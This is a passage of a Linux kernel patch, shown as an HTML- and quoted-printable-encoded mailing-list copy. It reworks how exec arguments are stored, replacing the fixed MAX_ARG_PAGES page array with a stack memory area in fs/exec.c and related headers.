_vma(vma, vma-&gt;vm_start,<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vma-&gt;vm_end - vma-&gt;vm_start,<br>+=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp; vma-&gt;vm_end - vma-&gt;vm_start,
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp; vma-&gt;vm_start - stack_shift);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp; if (ret &amp; ~PAGE_MASK) {<br>+&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; up_write(&amp;mm-&gt;mmap_sem);<br>+&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp; return ret;
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>+&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp; }<br><br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (i =3D 0 ; i &lt; MA=
X_ARG_PAGES ; i++) {<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct page *page =3D bprm-&gt;page[i];<=
br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; if (page) {<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp; bprm-&gt;page[i] =3D NULL;
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; install_arg_=
page(mpnt, page, stack_base);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Expand the stack.<br>+&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp; vma =3D find_vma(mm, bprm-&gt;p);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BUG_ON(!vma || bprm-&gt=
;p &lt; vma-&gt;vm_start);
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; if (expand_stack(vma, stack_base -<br>+&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EXTRA_STACK_VM_PA=
GES * PAGE_SIZE)) {<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp; up_write(&amp;mm-&gt;mmap_sem);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp; return -EFAULT;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;}<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stack_base +=3D PAGE_SIZE;<br>&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;up_write(&amp;mm-&gt;mmap_sem);<br><br>@@ -456,23 +45=
1,6 @@ int setup_arg_pages(struct linux_binprm<br><br> EXPORT_SYMBOL(setup_=
arg_pages);
<br><br>-#define free_arg_pages(bprm) do { } while (0)<br>-<br>-#else<br>-<=
br>-static inline void free_arg_pages(struct linux_binprm *bprm)<br>-{<br>-=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i;<br>-<br>-&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; for (i =3D 0; i &lt; MAX_ARG_PAGES; i++) {<br>
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp; if (bprm-&gt;page[i])<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; __free_page(bprm-&gt;page[i]);<br>-&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;p=
age[i] =3D NULL;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>-}<br>-<br>-=
#endif /* CONFIG_MMU */<br>-<br> struct file *open_exec(const char *name)
<br> {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;struct nameidata =
nd;<br>@@ -993,8 +971,10 @@ void compute_creds(struct linux_binprm *<br><br=
> EXPORT_SYMBOL(compute_creds);<br><br>-void remove_arg_zero(struct linux_b=
inprm *bprm)<br>+int remove_arg_zero(struct linux_binprm *bprm)
<br> {<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int ret =3D 0;<br>+<br>&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (bprm-&gt;argc) {<br>&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;unsigned long offset;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char * kaddr;<b=
r>@@ -1008,13 +988,23 @@ void remove_arg_zero(struct linux_binprm<br>&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;of=
fset =3D 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;kunmap_atomic(kaddr, KM_USER0);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; put_page(page);<br> inside:<br>-&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; page =3D bprm-&gt;page[bprm-&gt;=
p/PAGE_SIZE];
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret =3D get_=
user_pages(current, bprm-&gt;mm, bprm-&gt;p,<br>+&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;1, 0, 1, &amp;page, NULL);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp; if (ret &lt;=3D 0) {<br>+&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp; ret =3D -EFAULT;
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto out;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;kaddr =3D kmap_atomic(page, KM_USER0);<br>&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;kunmap_atomic(kaddr, KM_USER0=
);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;bprm-&gt;argc--;
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; ret =3D 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;}<br>+<br>+out:<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ret;<br> =
}<br><br> EXPORT_SYMBOL(remove_arg_zero);<br>@@ -1041,7 +1031,7 @@ int sear=
ch_binary_handler(struct linux_b<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fput(bprm-&gt;file=
);
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;bprm-&gt;file =3D NULL;<br><br>-&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; loader =
=3D PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; loader =3D bprm-&=
gt;vma-&gt;vm_end - sizeof(void *);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;file =3D op=
en_exec(&quot;/sbin/loader&quot;);
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;retval =3D PTR_ERR(file);<br>@@ -1134,7 +1124,6 @@=
 int do_execve(char * filename,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;struct linux_binprm *bprm;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;struct file *file;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;int retval;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i;<br><br>&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;retval =3D -ENOMEM;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bprm =3D kzalloc(sizeof=
(*bprm), GFP_KERNEL);<br>@@ -1148,25 +1137,19 @@ int do_execve(char * filen=
ame,<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sched_exec();<b=
r><br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;p =3D PAGE_SIZE*MAX_AR=
G_PAGES-sizeof(void *);<br>-<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;bprm-&gt;file =3D file;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bprm-&gt;filename =3D f=
ilename;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bprm-&gt;interp=
 =3D filename;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;mm =3D mm_=
alloc();<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; retval =3D -ENOMEM;<br>-&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!bprm-&gt;mm)<br>-&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto ou=
t_file;<br><br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; retval =3D init_new_co=
ntext(current, bprm-&gt;mm);
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (retval &lt; 0)<br>-&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
goto out_mm;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; retval =3D bprm_mm_in=
it(bprm);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (retval)<br>+&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
; goto out_file;<br><br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;argc=
 =3D count(argv, bprm-&gt;p / sizeof(void *));
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;argc =3D count(argv, MAX=
_ARG_STRINGS);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ((retv=
al =3D bprm-&gt;argc) &lt; 0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto out_mm;<br><br>-=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;envc =3D count(envp, bprm-&gt=
;p / sizeof(void *));<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;env=
c =3D count(envp, MAX_ARG_STRINGS);
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ((retval =3D bprm-&g=
t;envc) &lt; 0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto out_mm;<br><br>@@ -1193,8 +117=
6,6 @@ int do_execve(char * filename,<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;retval =3D search_binary_handler(bprm,regs);<br>&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (retval &gt;=3D 0) {
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; free_arg_pages(bprm);<br>-<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* execve=
 success */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;security_bprm_free(bprm);<br>&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;acct_update_integrals(current);<br>@@ -1203,19 +1184,12 @@ int d=
o_execve(char * filename,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br> out:<br>-&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Something went wrong, return the inode =
and free the argument pages*/<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for =
(i =3D 0 ; i &lt; MAX_ARG_PAGES ; i++) {<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct page * page =
=3D bprm-&gt;page[i];
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; if (page)<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp; __free_page(page);<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<b=
r>-<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (bprm-&gt;securit=
y)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;security_bprm_free(bprm);<br><br> out_mm:<br>&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (bprm-&gt;mm)<br>-&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
 mmdrop(bprm-&gt;mm);
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; mmput (bprm-&gt;mm);<br><br> out_file:<br>&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (bprm-&gt;file) {<br>Index: linux/include/=
linux/binfmts.h<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br=
>--- linux.orig/include/linux/binfmts.h
<br>+++ linux/include/linux/binfmts.h<br>@@ -5,12 +5,9 @@<br><br> struct pt=
_regs;<br><br>-/*<br>- * MAX_ARG_PAGES defines the number of pages allocate=
d for arguments<br>- * and envelope for the new program. 32 should suffice,=
 this gives
<br>- * a maximum env+arg of 128kB w/4KB pages!<br>- */<br>-#define MAX_ARG=
_PAGES 32<br>+/* FIXME: Find real limits, or none. */<br>+#define MAX_ARG_S=
TRLEN (PAGE_SIZE * 32)<br>+#define MAX_ARG_STRINGS 0x7FFFFFFF<br><br> /* si=
zeof(linux_binprm-&gt;buf) */
<br> #define BINPRM_BUF_SIZE 128<br>@@ -22,7 +19,7 @@ struct pt_regs;<br>&n=
bsp;&nbsp;*/<br> struct linux_binprm{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;char buf[BINPRM_BUF_SIZE];<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp; struct page *page[MAX_ARG_PAGES];<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp; struct vm_area_struct *vma;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;struct mm_struct *mm;<b=
r>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned long p; /* curre=
nt top of mem */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int sh_=
bang;<br>@@ -65,7 +62,7 @@ extern int register_binfmt(struct linux_<br> ext=
ern int unregister_binfmt(struct linux_binfmt *);
<br><br> extern int prepare_binprm(struct linux_binprm *);<br>-extern void =
remove_arg_zero(struct linux_binprm *);<br>+extern int __must_check remove_=
arg_zero(struct linux_binprm *);<br> extern int search_binary_handler(struc=
t linux_binprm *,struct pt_regs *);
<br> extern int flush_old_exec(struct linux_binprm * bprm);<br><br>@@ -82,6=
 +79,7 @@ extern int suid_dumpable;<br> extern int setup_arg_pages(struct l=
inux_binprm * bprm,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long stack_top,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp; int executable_stack);<br>+extern int bprm_mm_init(struct linux_=
binprm *bprm);<br> extern int copy_strings_kernel(int argc,char ** argv,str=
uct linux_binprm *bprm);<br> extern void compute_creds(struct linux_binprm =
*binprm);
<br> extern int do_coredump(long signr, int exit_code, struct pt_regs * reg=
s);<br>Index: linux/include/linux/mm.h<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D<br>--- linux.orig/include/linux/mm.h
<br>+++ linux/include/linux/mm.h<br>@@ -775,7 +775,6 @@ static inline int h=
andle_mm_fault(struct<br><br> extern int make_pages_present(unsigned long a=
ddr, unsigned long end);<br> extern int access_process_vm(struct task_struc=
t *tsk, unsigned long addr, void *buf, int len, int write);
<br>-void install_arg_page(struct vm_area_struct *, struct page *, unsigned=
 long);<br><br> int get_user_pages(struct task_struct *tsk, struct mm_struc=
t *mm, unsigned long start,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int len, int write, int=
 force, struct page **pages, struct vm_area_struct **vmas);
<br>@@ -791,9 +790,15 @@ int FASTCALL(set_page_dirty(struct page<br> int se=
t_page_dirty_lock(struct page *page);<br> int clear_page_dirty_for_io(struc=
t page *page);<br><br>+extern unsigned long move_vma(struct vm_area_struct =
*vma,
